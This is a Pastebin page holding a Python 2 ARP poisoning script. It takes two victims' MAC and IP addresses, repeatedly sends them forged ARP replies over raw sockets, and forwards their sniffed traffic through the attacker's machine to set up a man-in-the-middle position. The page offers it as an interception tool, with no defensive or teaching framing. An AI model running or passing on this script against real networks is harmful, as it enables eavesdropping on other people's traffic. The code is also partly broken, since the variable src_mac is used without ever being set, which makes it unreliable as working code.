rena123

ARP Poisoning Script

Jan 24th, 2018
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.83 KB | None | 0 0
  1. import socket
  2. from os import fork
  3. from time import sleep
  4.  
  5. def arp_reply(sock, src, dst):
  6.     sock.send(dst[0] + src[0] + "\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02" + src[0] + src[1] + dst[0] + dst[1] )
  7.  
  8. eth_aton = lambda x: "".join(map(chr, map(int, x.split(":"), [16] * 6))) # convert mac address in colon format to network bytes
  9.  
  10. # get the necessary information
  11. t1_mac = eth_aton(raw_input("Enter target 1 mac address : "))
  12. t1_ip = socket.inet_aton(raw_input("Enter target 1 ip address : "))
  13. t2_mac = eth_aton(raw_input("Enter target 2 mac address : "))
  14. t2_ip = socket.inet_aton(raw_input("Enter target 2 ip address : "))
  15. my_mac = eth_aton(raw_input("Enter your own mac address : "))
  16. my_ip = socket.inet_aton(raw_input("Enter your own ip address : "))
  17.  
  18. newpid = fork()
  19.  
  20. if newpid == 0: # this process redirects traffic from victims while another process (the parent) is doing the arp poisoning stuff
  21.     try:
  22.         sniffer = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) # to sniff traffic from victims
  23.         redirector = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) # to redirect the traffic
  24.        
  25.         sniffer.bind(("wlan0", 0x0003))
  26.         redirector.bind(("wlan0", 0x0800))
  27.          
  28.         while True:
  29.             data, addr = sniffer.recvfrom(65535)
  30.             dst_mac = data[:6]
  31.             dst_ip = data[30:34]
  32.             ipv4 = True if data[14:15] == '\x45' else False
  33.             if dst_mac == my_mac and ipv4 and dst_ip != my_ip: # check if it's a packet from the victim and if it contains ipv4 headers
  34.                 if src_mac == t1_mac: # redirect traffic from target 1 to target 2
  35.                     redirector.send(t2_mac + dst_mac + data[12:])
  36.                 elif src_mac == t2_mac: # redirect traffic from target 2 to target 1
  37.                     redirector.send(t1_mac + dst_mac + data[12:])
  38.     except KeyboardInterrupt:
  39.         sniffer.close()
  40.         redirector.close()
  41.  
  42. else:
  43.     crafter = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
  44.     crafter.bind(("wlan0", 0x0800))
  45.  
  46.     print "[*] arp poisoning started\n"
  47.     while True:
  48.         try:
  49.             print "[+] arp replies sent"
  50.             arp_reply(crafter, (my_mac, t2_ip), (t1_mac, t1_ip) ) # send forged arp replies to target 1
  51.             arp_reply(crafter, (my_mac, t1_ip), (t2_mac, t2_ip) ) # send forged arp replies to target 2
  52.             sleep(5) # get some break between each poisoning attack
  53.         except KeyboardInterrupt:
  54.             print "\n[*] rearping victims ......" # resetting the victim's arp caches to normal
  55.             for i in range(10):
  56.                 arp_reply(crafter, (t1_mac, t1_ip), (t2_mac, t2_ip) )
  57.                 arp_reply(crafter, (t2_mac, t2_ip), (t1_mac, t1_ip) )
  58.             crafter.close()
  59.             break
Advertisement
Add Comment
Please, Sign In to add comment